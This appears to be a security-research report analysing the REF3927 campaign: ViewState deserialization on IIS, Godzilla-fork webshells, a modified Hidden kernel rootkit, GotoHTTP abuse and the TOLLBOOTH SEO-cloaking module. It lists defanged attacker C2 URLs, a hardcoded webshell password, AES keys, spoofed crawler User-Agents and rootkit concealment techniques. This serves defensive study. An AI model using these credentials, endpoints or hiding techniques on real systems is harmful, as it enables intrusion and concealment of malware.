<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image16.png" alt="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" title="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" /></p>
<p><code>ViewState</code> is a mechanism used by <a href="ASP.NET">ASP.NET</a> web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, <code>ViewState</code> allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (<code>__VIEWSTATE</code>) on the page that is serialized and encoded in Base64. This <code>ViewState</code> field is susceptible to <a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">deserialization attacks</a>, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.</p>
<p>Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload <a href="https://github.com/pwntester/ysoserial.net">generator</a>. The <code>__VIEWSTATE</code> field contains a URL-encoded and Base64-encoded payload that will perform a <code>whoami</code> and write a file to a directory. With a successful exploitation request, the server will respond with an <code>HTTP/1.1 500 Internal Server Error</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image14.png" alt="Packet capture showing an example of a successful deserialization attack" title="Packet capture showing an example of a successful deserialization attack" /></p>
<h3>Post-compromise activity</h3>
<p>Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image6.png" alt="Elastic Defend alerting showing hands-on post-compromise activity" title="Elastic Defend alerting showing hands-on post-compromise activity" /></p>
<p>With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image13.png" alt="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" title="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" /></p>
<h2>Godzilla EKP analysis</h2>
<p>One of the main tools used by this group is a Godzilla-forked framework called <code>Z-Godzilla_ekp</code> written by <a href="https://github.com/ekkoo-z">ekkoo-z</a>. This tool piggybacks off the previous Godzilla <a href="https://github.com/BeichenDream/Godzilla">project</a> by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:</p>
<ul>
<li>Discovery/enumeration capabilities</li>
<li>Privilege escalation techniques</li>
<li>Command execution/file execution</li>
<li>Shellcode loader, meterpreter, in-memory PE execution</li>
<li>File management, zipping utility</li>
<li>Cred stealing plugin (<code>lemon</code>) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials</li>
<li>Browser password scraping</li>
<li>Port scanning, HTTP proxy configuration, note-taking</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image10.png" alt="Command execution plugin from Z-Godzilla_ekp" title="Command execution plugin from Z-Godzilla_ekp" /></p>
<p>Below is a network traffic example showing the operator traffic to the webshell (<code>error.aspx</code>) using <code>Z-Godzilla_ekp</code>. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image3.png" alt="Example of POST request using Z-Godzilla_ekp" title="Example of POST request using Z-Godzilla_ekp" /></p>
<h2>Rootkit analysis</h2>
<p>The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit <code>HIDDENDRIVER</code> and the userland application <code>HIDDENCLI</code>.</p>
<p>This malicious software is a modified version of the open source rootkit <a href="https://github.com/JKornev/hidden">Hidden</a>, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image1.png" alt="Rookit’s string showing the compilation path" title="Rookit’s string showing the compilation path" /></p>
<p>Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:</p>
<ul>
<li><code>InitializeConfigs</code></li>
<li><code>InitializeKernelAnalyzer</code></li>
<li><code>InitializePsMonitor</code></li>
<li><code>InitializeFSMiniFilter</code></li>
<li><code>InitializeRegistryFilter</code></li>
<li><code>InitializeDevice</code></li>
<li><code>InitializeStealthMode</code></li>
</ul>
<p>To prepare its internal components before populating its driver object and associated fields, such as major functions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image7.png" alt="Malicious rootkit initialization function" title="Malicious rootkit initialization function" /></p>
<p>The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.</p>
<h3>InitializeConfigs</h3>
<p>The rootkit's initial action is to run the <code>InitializeConfigs</code> function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.</p>
<p>The following table summarizes the configuration parameters that the rootkit extracts from the registry:</p>
<table>
<thead>
<tr>
<th>Registry name</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Kbj_WinkbjFsDirs</code></td>
<td>A list of directory paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjFsFiles</code></td>
<td>A list of file paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegKeys</code></td>
<td>A list of registry keys to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegValues</code></td>
<td>A list of registry values to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_FangxingImages</code></td>
<td>A list of process images to whitelist</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_BaohuImages</code></td>
<td>A list of process images to protect</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjImages</code></td>
<td>A list of process images to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_Zhuangtai</code></td>
<td>A global kill switch that is set from userland</td>
<td>bool</td>
</tr>
<tr>
<td><code>Kbj_YinshenMode</code></td>
<td>This flag signals that the rootkit must conceal its artifacts.</td>
<td>bool</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image9.png" alt="Rootkit retrieves values from its configuration stored in the registry" title="Rootkit retrieves values from its configuration stored in the registry" /></p>
<h3>InitializeKernelAnalyzer</h3>
<p>Its purpose is to dynamically scan the kernel memory to find the addresses of the <code>PspCidTable</code> and <code>ActiveProcessLinks</code> that are needed.</p>
<p>The <a href="http://uninformed.org/index.cgi?v=3&amp;a=7&amp;p=6"><code>PspCidTable</code></a> is the kernel's structure that serves as a table for process and thread IDs, while <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland"><code>ActiveProcessLinks</code></a> under the <code>_EPROCESS</code> structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a>.</p>
<h4>LookForPspCidTable</h4>
<p>It searches for the <code>PspCidTable</code> address by disassembling the function <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid"><code>PsLookupProcessByProcessId</code></a>with the library <a href="https://github.com/zyantific/zydis">Zydis</a> and parsing it.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image15.png" alt="Original hidden code: PspCidTable lookup" title="Original hidden code: PspCidTable lookup" /></p>
<h4>LookForActiveProcessLinks</h4>
<p>This function determines the offset of the <code>ActiveProcessLinks</code> field within the <code>_EPROCESS</code> structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the <code>ActiveProcessLinks</code> field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.</p>
<h3>InitializePsMonitor</h3>
<p><code>InitializePsMonitor</code> sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.</p>
<p>It first initializes three <a href="https://medium.com/@ys.yogendra22/avl-tree-self-balancing-binary-search-tree-20188ff58b05">AVL tree structures</a> to hold information (rules) for excluding, protecting, and hiding processes. It uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-rtlinitializegenerictableavl"><code>RtlInitializeGenericTableAvl</code></a> for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.</p>
<h4>Registering object manager callback with (ObRegisterCallbacks)</h4>
<p>This hook registers the <code>ProcessPreCallback</code> and <code>ThreadPreCallback</code> functions. The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-object-manager">kernel's Object Manager</a> executes this code before it completes any request to create or duplicate a handle to a process or thread.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image30.png" alt="Rootkit registering process and thread precallbacks" title="Rootkit registering process and thread precallbacks" /></p>
<p>When a process tries to get a handle on another process, the callback function <code>ProcessPreCallback</code> is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to <code>SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION</code>.</p>
<p>This will ensure that processes cannot interact with/inspect, or kill the protected process.</p>
<p>The same mechanism applies to threads.</p>
<h4>Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)</h4>
<p>The rootkit registers a callback with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex"><code>PsSetCreateProcessNotifyRoutineEx</code></a> API on process creation. When a new process is launched, this callback runs a function <code>CheckProcessFlags</code> that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its <code>excluded</code>, <code>protected</code>, and <code>hidden</code> flags accordingly.</p>
<p>Behavior based on flags:</p>
<ul>
<li><strong>Excluded</strong>
<ul>
<li>The rootkit will ignore the process and just let it run as expected.</li>
</ul>
</li>
<li><strong>Protected</strong>
<ul>
<li>The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in <code>ProcessPreCallback</code>.</li>
</ul>
</li>
<li><strong>Hidden</strong>
<ul>
<li>The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a <code>postponeHiding</code> flag that will be explained below.</li>
</ul>
</li>
</ul>
<h4>The Image Load callback (PsSetLoadImageNotifyRoutine)</h4>
<p>This registers the <code>LoadProcessImageNotifyCallback</code> using <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine"><code>PsSetLoadImageNotifyRoutine</code></a>, which the kernel calls whenever an executable image (a <code>.exe</code> or <code>.dll</code>) is loaded into a process's memory.</p>
<p>When the image is loaded, the callback checks the <code>postponeHiding</code> flag; if set, it calls <code>UnlinkProcessFromCidTable</code> to remove it from the master process ID table (<code>PspCidTable</code>).</p>
<h3>InitializeFSMiniFilter</h3>
<p>The function defines its capabilities in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/ns-fltkernel-_flt_registration"><code>FilterRegistration structure(FLT_REGISTRATION)</code></a>. This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-create"><code>IRP_MJ_CREATE</code></a>: Intercepts any attempt to open or create a file or directory.</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-directory-control"><code>IRP_MJ_DIRECTORY_CONTROL</code></a>: Intercepts any attempt to list the contents of a directory.</li>
</ul>
<h4>FltCreatePreOperation(IRP_MJ_CREATE)</h4>
<p>This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to <code>STATUS_NO_SUCH_FILE</code>, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.</p>
<h4>FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)</h4>
<p>This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.</p>
<h3>InitializeRegistryFilter</h3>
<p>After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The <code>InitializeRegistryFilter</code> function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.</p>
<p>It registers a callback using the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex"><code>CmRegisterCallbackEx</code></a> API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status <code>STATUS_NOT_FOUND</code>.</p>
<h3>InitializeDevice</h3>
<p>The <code>InitializeDevice</code> function does the driver initialization needed, and it sets up an <a href="https://learn.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-"><code>IOCTL communication</code></a> so that the userland application can communicate with it directly</p>
<p>The following is a table describing each IOCTL command handled by the driver.</p>
<table>
<thead>
<tr>
<th>IOCTL command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>HID_IOCTL_SET_DRIVER_STATE</code></td>
<td>Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_DRIVER_STATE</code></td>
<td>Retrieve the current state of the rootkit (enabled/disabled).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_HIDDEN_OBJECT</code></td>
<td>Adds a new rule to hide a specific file, directory, registry key, or value.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_HIDDEN_OBJECT</code></td>
<td>Removes a single hiding rule by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS</code></td>
<td>Remove all hidden objects for a specific object type(registry keys/values, files, directories).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_OBJECT</code></td>
<td>Adds a new rule to automatically hide, protect, or exclude a process based on its image path.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_OBJECT_STATE</code></td>
<td>Queries the current state (hidden, protected, or excluded) of a specific running process by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_SET_OBJECT_STATE</code></td>
<td>This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_OBJECT</code></td>
<td>Removes a single process rule (hide, protect, or exclude) by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_OBJECTS</code></td>
<td>This command clears all process states and image rules of a specific type.</td>
</tr>
</tbody>
</table>
<h3>InitializeStealthMode</h3>
<p>After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: <code>InitializeStealthMode</code>. If the configuration flag <code>Kbj_YinshenMode</code> is enabled, it will hide every artifact associated with the rootkit, including registry keys, the <code>.sys</code> file, and other related components, using the same techniques described above.</p>
<h3>Code Variations</h3>
<p>While the malware is heavily based on the <code>HIDDENDRIVER</code> source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.</p>
<p>The original code in the <code>IsProcessExcluded</code> function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image20.png" alt="Difference between “Hidden” and the rootkit function IsProcessExcluded" title="Difference between “Hidden” and the rootkit function IsProcessExcluded" /></p>
<p>The original code's callback for filtering system information (including files, directories, and registries) used the <code>IsDriverEnabled</code> function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image28.png" alt="“Hidden” source code: FltDirCtrlPostOperation callback" title="“Hidden” source code: FltDirCtrlPostOperation callback" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image11.png" alt="“Hidden” source code: PsGetProcessImageFileName usage" title="“Hidden” source code: PsGetProcessImageFileName usage" /></p>
<h2>RMM usage</h2>
<p>The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (<code>80</code>/<code>443</code>) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image25.png" alt="gotohttp[.]com landing page" title="gotohttp[.]com landing page" /></p>
<p>RMMs continue to <a href="https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice">increase in popularity</a> for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.</p>
<p>Blocking the <a href="https://github.com/magicsword-io/LOLRMM/tree/main/detections/sigma">mass of currently active RMMs</a> and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.</p>
<h2>IIS module analysis</h2>
<p>The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by <a href="https://asec.ahnlab.com/en/87804/">Ahnlab</a> and the security researcher, <a href="https://x.com/AzakaSekai_/status/1969294757978652947">@Azaka</a>. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.</p>
<h3>Malware Config Structure</h3>
<p>TOLLBOOTH retrieves its configuration dynamically from <code>hxxps://c[.]cseo99[.]com/config/&lt;victim_HTTP_host_value&gt;.json,</code> and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, <code>hxxps://c[.]cseo99[.]com/config/127.0.0.1.json</code> responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this <a href="https://gist.github.com/jiayuchann/b785e1f3960fa26923d821b7e93e2e94">GitHub Gist</a>, and we will reference how some of the fields are used as appropriate.</p>
<p>For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code>. For the managed module, these are AES-encrypted with key <code>YourSecretKey123</code> and IV <code>0123456789ABCDEF</code>, Gzip-compressed, and stored at <code>C:\\Windows\\Temp\\AcpLogs\\</code>.</p>
<h3>Webshell</h3>
<p>TOLLBOOTH exposes a webshell at the <code>/mywebdll</code> path, requiring a password of <code>hack123456!</code> for file uploads and execution of commands. Form submission sends a <code>POST</code> request to the <code>/scjg</code> endpoint.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image17.png" alt="Webshell interface" title="Webshell interface" /></p>
<p>The password is hardcoded in the binary, and this webshell feature is present in both <code>v1.6.0</code> and <code>v1.6.1</code> of the native version of TOLLBOOTH.</p>
<p>The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of <code>multipart/form-data</code> fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the <code>multipart/form-data</code> parts, a successful file upload can still be triggered.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image12.png" alt="File upload PoC" title="File upload PoC" /></p>
<h3>Management Channel</h3>
<p>TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):</p>
<pre><code class="language-text">Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;
</code></pre>
<p>The <code>/health</code> endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at <code>c[.]cseo99[.]com</code>, disk space information, the module's installation path, and the version of TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image8.png" alt="Health endpoint response" title="Health endpoint response" /></p>
<p>The <code>/debug</code> endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image31.png" alt="/debug content" title="/debug content" /></p>
<p>The parsed configuration is accessible at <code>/conf</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image24.png" alt="/conf content" title="/conf content" /></p>
<p>The <code>/clean</code> endpoint allows the operator to clear the current configuration by deleting the config files stored locally (<code>clean?type=conf</code>) in order to update them on the victim server, clear any other temporary caches the malware uses (<code>clean?type=conf</code>), or clear both - everything in the <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code> path (<code>clean?type=all</code>).</p>
<h3>SEO Cloaking</h3>
<p>The main goal of TOLLBOOTH is <a href="https://support.google.com/adspolicy/answer/15938075?sjid=10977824559696952423-NC#Cloaking">SEO cloaking</a>, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.</p>
<p>TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.</p>
<p>Both the native and the managed modules are implemented almost identically. The only difference is that native modules <code>v1.6.0</code> and <code>v1.6.1</code> check both the User Agent and Referer against the <code>seoGroupRefererMatchRules</code> list, and the .NET module <code>v1.6.1</code> checks the User Agent against the <code>seoGroupUaMatchRules</code> list and Referer against the <code>seoGroupRefererMatchRules</code> list.</p>
<p>Based on the current configuration, the values for <code>seoGroupUaMatchRules</code> and <code>seoGroupRefererMatchRules</code> are <code>googlebot</code> and <code>google</code>, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both <code>bing</code> and <code>yahoo</code> suggests that those search engines were targeted in the past as well.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image29.png" alt="Functions and fallback lists for User Agent and Referer checks" title="Functions and fallback lists for User Agent and Referer checks" /></p>
<p>The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image23.png" alt="Function for generating page that links to SEO content" title="Function for generating page that links to SEO content" /></p>
<p>The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the <code>affLinkMainWordSeoResArr</code> configuration field. For each keyword, it generates a &quot;local link&quot; pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving &quot;affiliate link resources&quot; from the <code>affLinkSeoResArr</code> field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as <a href="https://en.wikipedia.org/wiki/Link_farm">link farming</a>, is designed to artificially inflate search engine rankings across the entire network of compromised sites.</p>
<p>Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image4.png" alt="Visiting the landing page with User Agent “google”" title="Visiting the landing page with User Agent “google”" /></p>
<p>URL path prefixes to the SEO pages contain words or phrases from the <code>seoGroupUrlMatchRules</code> config field. This is also referenced in the site redirection logic targeting visitors. These are currently:</p>
<ul>
<li><code>stock</code></li>
<li><code>invest</code></li>
<li><code>summary</code></li>
<li><code>datamining</code></li>
<li><code>market-outlook</code></li>
<li><code>bullish-on</code></li>
<li><code>news-overview</code></li>
<li><code>news-volatility</code></li>
<li><code>video/</code></li>
<li><code>app/</code></li>
<li><code>blank/</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image32.png" alt="Example local links" title="Example local links" /></p>
<p>Templates and content for SEO pages are also externally retrieved from URIs that look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the config. Here is an example of what one of the SEO pages looks like:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image5.png" alt="Example SEO page" title="Example SEO page" /></p>
<p>For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to <code>hxxps://api[.]aseo99[.]com/client/landpage</code>. If the request is successful, the server responds with a JSON object containing a specific <code>landpageUrl</code>, which becomes the destination for the redirect.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image18.png" alt="Requesting for page to redirect to" title="Requesting for page to redirect to" /></p>
<p>If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (<code>window.location.href</code>) and sent to the victim’s browser, forcing an immediate redirection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image26.png" alt="Fallback request for the page to redirect to" title="Fallback request for the page to redirect to" /></p>
<h3>Page Hijacker</h3>
<p>For the native modules, if the URI path contains <code>xlb</code>, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, <code>mlxya[.]oss-accelerate[.]aliyuncs[.]com/&lt;12_random_alphanumeric_characters&gt;</code>, which is used to retrieve an obfuscated next-stage JavaScript payload.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image27.png" alt="Random characters appended to domain hosting JS payload" title="Random characters appended to domain hosting JS payload" /></p>
<p>The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., <code>xlbh</code>, <code>mxlb</code>) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at <code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href=</code> or <code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=</code>, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses <code>document.write()</code> to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image19.png" alt="Deobfuscated page hijacker payload" title="Deobfuscated page hijacker payload" /></p>
<h2>Campaign targeting</h2>
<p>While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.</p>
<p>We then partnered with <a href="https://x.com/SreekarMad">@SreekarMad</a> at <a href="https://www.validin.com/">Validin</a> to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.</p>
<p>At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image2.png" alt="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" title="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" /></p>
<p>These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.</p>
<p>The collaboration with Validin and Texas A&amp;M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image21.png" alt="Metadata collected from an additional victim" title="Metadata collected from an additional victim" /></p>
<p>Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.</p>
